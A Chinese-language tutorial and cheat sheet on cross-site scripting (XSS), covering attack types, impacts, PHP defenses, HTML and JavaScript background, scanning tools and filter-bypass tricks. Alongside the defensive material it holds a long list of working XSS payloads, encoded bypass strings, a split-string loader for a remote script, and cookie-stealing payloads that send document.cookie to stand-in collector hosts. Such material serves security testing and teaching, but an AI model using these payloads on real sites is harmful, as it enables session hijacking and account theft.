0x00 XSS简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,为避免和层叠样式表(CSS,Cascading Style Sheets)的缩写混淆,将Cross(“交叉”)改为交叉形状的X作为缩写。
XSS自1996年诞生以来,一直被OWASP(open web application security project)评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”,而JavaScript是新型的shellcode。2011年6月份,国内最火的信息发布平台“新浪微博”爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
XSS是由于web应用程序对用户的输入过滤不严而产生的。
0x01 XSS攻击原理
攻击者在Web页面中插入恶意代码(HTML、JavaScript等),在用户浏览该页面时,嵌入Web页面的代码会被加载并执行,从而达到恶意攻击用户的目的,如获取更高的权限、网页内容和会话Cookie等。
0x02 XSS攻击类型
-
反射型XSS
服务器取得用户输入之后直接在浏览器输出。
-
存储型XSS
服务器取得用户输入之后先存储起来然后再输出。
-
DOM型XSS
利用客户端浏览器DOM改变页面内容,不经过服务器。
0x03 XSS危害
- 执行任意的HTML和JavaScript代码(如:插入恶意SEO链接、广告等)。
- 盗取Cookie,窃取用户浏览会话。
- 网络钓鱼,包括盗取各类的用户账号,泄露个人信息。
- 对用户浏览器进行攻击(如:恶意木马下载、键盘记录)。
- 对运维人员、客服人员浏览器进行攻击(如:提升用户权限、内网探测、未授权漏洞攻击)。
- 利用iframe或XMLHttpRequest等方式,以(被攻击)用户的身份执行一些管理动作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作(如:进行不当的投票活动)。
- 在一些访问量极大的页面上使用XSS可以攻击一些小型网站,实现Dos攻击的效果。
- 强制弹出广告页面、刷流量、网页挂马、传播跨站脚本蠕虫等
0x04 XSS检测方法
测试网站能否正确处理特殊字符:
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<img src="javascript:alert('XSS')">
<img src="1" onerror="alert('XSS')">
等等
XSS测试可以使用:
- XSS弹出恶意警告框:<script>alert(“xss”)</script>
- 也可以是html代码段,如使网页不停的刷新:<meta http-equiv=”refresh” content=”0;”>
- 如嵌入其他网站链接的代码:<iframe src=http://xxx.com width=0 height=0></iframe>
0x05 XSS防御
服务端:
- 数据库对不可信的请求数据进行适当的编码
- 富文本过滤时使用各程序语言通用安全API库
- 使用开发程序的安全转义库转义特殊字符
- 严格检查参数的数据类型、数值与数据长度
- 除在业务需要客户端脚本程序操作的情况外,将Cookie设置为HttpOnly属性
客户端:
- 浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
- 阻止XSS攻击后的Cookie劫持攻击
其他方法:
-
HTMLEncode
-
Web安全头支持
-
添加验证码机制
php对XSS过滤函数:
- htmlentities(string, flags, character-set, double_encode)将字符串中的所有HTML标识符转化为HTML实体编码,包括不认识的字符,所以要注意中文的时候要character-set要选对编码(gb23112)。
- htmlspecialchars(string, flags, character-set, double_encode)将字符串中的特定的几个HTML标识符转化成HTML实体编码,如双引号转为\"等
- strip_tags()去掉HTML及php标记,如一些标签”<script>”
- 正则preg_replace()函数
常见的防XSS代码
$x=preg_replace("/script/","",$x); 匹配script替换为空
$x=preg_replace("/script/i","",$x); 不管大小写的script都匹配并替换为空
0x06 常见的两种XSS方式
- 闭合标签
- 闭合元素,插入新元素
"><script>alert(document.domain)</script> 闭合标签
" onmouseover=alert(document.domain)> 闭合元素,插入新元素
0x07 HTML知识
1. select标签
select标签可创建单选或多选菜单。
<select>元素中的<option>标签用于定义列表中的可用选项。
2. hidden隐藏域
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。
当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
<input type="hidden" name="..." value="...">
3. svg标签
svg意为可缩放矢量图形(Scalable Vector Graphics),其使用XML格式定义图像。
svg文件可通过以下标签嵌入HTML文档:
- <embed>
- <object>
- <iframe>
- 使用svg标签插入
<svg 事件=""> 事件可以是onload等等,斜线/也可以是空格。
如:
"><svg onload=alert(document.domain)>%0a
4. text文本框
表单元素中的文本框text,定义为常规文本输入,其属性介绍如下:
- value属性规定输入字段的初始值
- readonly属性规定输入字段为只读(不能修改)
- disabled属性规定输入字段是禁用的。
5. html事件
- onclick 当单击鼠标时运行脚本
- ondbclick 当双击鼠标时运行脚本
- ondrag 当拖动元素时运行脚本
- ondragend 当拖动操作结束时运行脚本
- ondragenter 当元素被拖动至有效目标时运行
- ondragleave 当元素离开有效拖放目标时运行脚本
- ondragover 当元素被拖动至有效拖放目标上方时运行脚本
- ondragstart 当元素被拖放操作开始时运行脚本
- ondrop 当被拖动元素正在被拖放时运行脚本
- onmousedown 当按下鼠标按钮时运行脚本
- onmousemove 当鼠标指针拖动时运行脚本
- onmouseout 当鼠标指针移出元素时运行脚本
- onmouseover 当鼠标指针移至元素之上时运行脚本
- onmouseup 当松开鼠标按钮时运行脚本
- onmousewheel 当转动鼠标滚轮时运行脚本
- onscroll 当转动元素滚动元素的滚动条时运行脚本
0x08 JavaScript知识
1. document对象
document是一个对象,从JavaScript一开始就存在的一个对象,它代表当前的页面(文档)。我们调用它的write()方法就能够向该对象中写入内容,即:
document.write()
可以在html引用外部js代码
<script src=x.js></script>
js代码中写入
document.write("hello");
0x09 XSS绕过
1. JS八进制编码
\074\163\143\162\151\160\164\076\141\154\145\162\164\050\061\051\074\057\163\143\162\151\160\164\076
相当于
<script>alert(1)</script>
2. JS十六进制编码
\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
相当于
<script>alert(1)</script>
3. fromCharCode函数编码
可以利用hackerbar的XSS编码功能中的:js String.fromCharCode编码
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</script>
相当于
<script>alert(1)</script>
4. unicode编码
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
相当于
<script>alert(1)</script>
# 示例
\u003cimg src=1 onerror=alert(/xss/)\u003e
5. URL编码
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
相当于
<script>alert(1)</script>
6. html编码
利用hackerbar的XSS编码功能:HTML实体编码
<script>alert(1)</script>
相当于
<script>alert(1)</script>
7. base64编码
"><script>eval((atob('base64代码'));</script>
8. 绕过双引号过滤
空格代替双引号,来闭合属性。
9. 绕过on、script等关键词过滤
使用空格绕过
"><a href="javascr ipt:document.domain">xss</a>
10. 绕过空格、尖括号和双引号等过滤
利用IE特性(两个反引号``可以闭合一个左边双引号)
`` onmousemove=alert(document.domain)
11. CSS注释绕过关键字过滤
利用CSS特性(仅IE浏览器)
如设置颜色,关键词expression可以用注释符/**/分断:
color:express/**/ion(if(!window.x){alert(document.domain);window.x=1;})
其中,expression()是css表达式,输入参数可以是JavaScript代码。
还可以使用反斜杠,IE浏览器也会接收:
color:express\ion(if(!window.x){alert(document.domain);window.x=1;})
12. 绕过尖括号<>过滤
尖括号过滤(被转义成了\>和\<实体),双斜杠+十六进制编码绕过实体转义。双斜杠可加可不加,实际测试环境为准。
\\x3c是<
\\x3e是>
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
双斜杠+unicode
\\u003c <
\\u003e <
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
13. 绕过限制字符(要求同页面)
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.test'</script>
<script>z=z+'.com/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>
0x0a JavaScript伪协议
JavaScript伪协议,是把js代码放在javascript:后,放在链接或者HTML事件处理中,这个特殊的协议类型声明了URL主体是任意的js代码,如果有多个js语句,使用分号分隔开。
http://xxx?key=javascript:alert(1)">
或
<a href="javascript:document.domain">xss</a>
0x0b 获取Cookie中的密码
利用JavaScript伪协议获取cookie中的密码。
# 注意修改对应的标签号和标签name值
javascript:alert(document.getElementsByTagName(form)[0].getElementsByTagName(input)[1].value);
# 注意修改对应的标签id值
javascript:alert(document.getElementsById(username).value=admin);document.getElementById(password).focus();
0x0c XSS payload
"><script>"
<script>alert("WXSS")</script>
<<script>alert("WXSS");//<</script>
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
'><script>alert(document.cookie);</script>
\";alert('XSS');//
%3cscript%3ealert("WXSS");%3c/script%3e
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
<script>alert(document.cookie);</script>
<script>alert(document.cookie);<script>alert
<xss><script>alert('WXSS')</script></vulnerable>
<IMG%20SRC='javascript:alert(document.cookie)'>
<IMG%20SRC="javascript:alert('WXSS');">
<IMG%20SRC="javascript:alert('WXSS')"
<IMG%20SRC=javascript:alert('WXSS')>
<IMG%20SRC=JaVaScRiPt:alert('WXSS')>
<IMG%20SRC=javascript:alert("WXSS")>
<IMG%20SRC=`javascript:alert("'WXSS'")`>
<IMG%20"""><SCRIPT>alert("WXSS")</SCRIPT>">
<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG%20SRC='javasc ript:alert(document.cookie)'>
<IMG%20SRC="jav ascript:alert('WXSS');">
<IMG%20SRC="jav	ascript:alert('WXSS');">
<IMG%20SRC="jav
ascript:alert('WXSS');">
<IMG%20SRC="jav
ascript:alert('WXSS');">
<IMG%20SRC="%20%20javascript:alert('WXSS');">
<IMG%20DYNSRC="javascript:alert('WXSS')">
<IMG%20LOWSRC="javascript:alert('WXSS')">
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC=javascript:alert('XSS')>
'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E
"><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
'';!--"<XSS>=&{()}
0x0d XSS发生的位置
- GET型URL中的XSS:如果再URL中提交的参数值,在页面中显示,很有可能存在XSS。
- POST型表单中的XSS:如果在表单中提交的参数值,在页面中显示,很有可能存在XSS。
- JSON中的XSS:闭合json字符串,然后用分号隔开,加上alert(1);//,//注释了后面的json字符串。
- 自定义HTTP头中的XSS:如果在HTTP自定义头中提交的参数值,在页面中显示,很有可能存在XSS。
0x0e XSS工具
1. 火狐中常用的XSS调试插件
- Hackbar(利用hackerbar的XSS编码功能:HTML实体编码和js String.fromCharCode编码)
- Firebug
- Tamper Data
- Live HTTP Headers
- Editor Cookie
2. 工具挖掘XSS漏洞
- awvs
- netsparke
- appscan
- burp
- xsser
- xsscrapy
- brutexssr
- OWASP Xenotix/
3. xsser检测工具
xsser xsser -h # 帮助信息 xsser –gtk # 图形化界面 xsser -u <url> # 对链接进行xss测试 ……
4. XSStrike检测工具
XSStrike是一款检测XSS的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。 必须要python 3.6版本以上。
下载方法:git clone https://github.com/s0md3v/XSStrike.git
安装:
cd XSStrike
pip3 install -r requirements.txt
chmod +x xsstrike.py
0x0f 其他小技巧
1. htmlspecialchars使用不规范
<?php
$name=htmlspecialchars($_GET['name']);
?>
<input type='text' class='search' value='<?=$name?>'>
在input元素的属性中输出获取的参数变量,使用单引号闭合。
htmlspecialchars函数默认只转化双引号,不转义单引号。
所以正确的做法应该将HTML标签的属性值用双引号引起来。
2. Chrome如何取消XSS保护
桌面右键,新建快捷方式,在“请键入对象的位置”那个框中输入:
Chrome路径 + 参数--args --disable-xss-auditor
如:
“C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –args –disable-xss-auditor